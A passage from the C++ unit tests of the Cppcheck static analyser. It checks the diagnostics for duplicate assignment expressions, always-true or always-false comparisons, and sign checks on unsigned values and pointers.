ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. 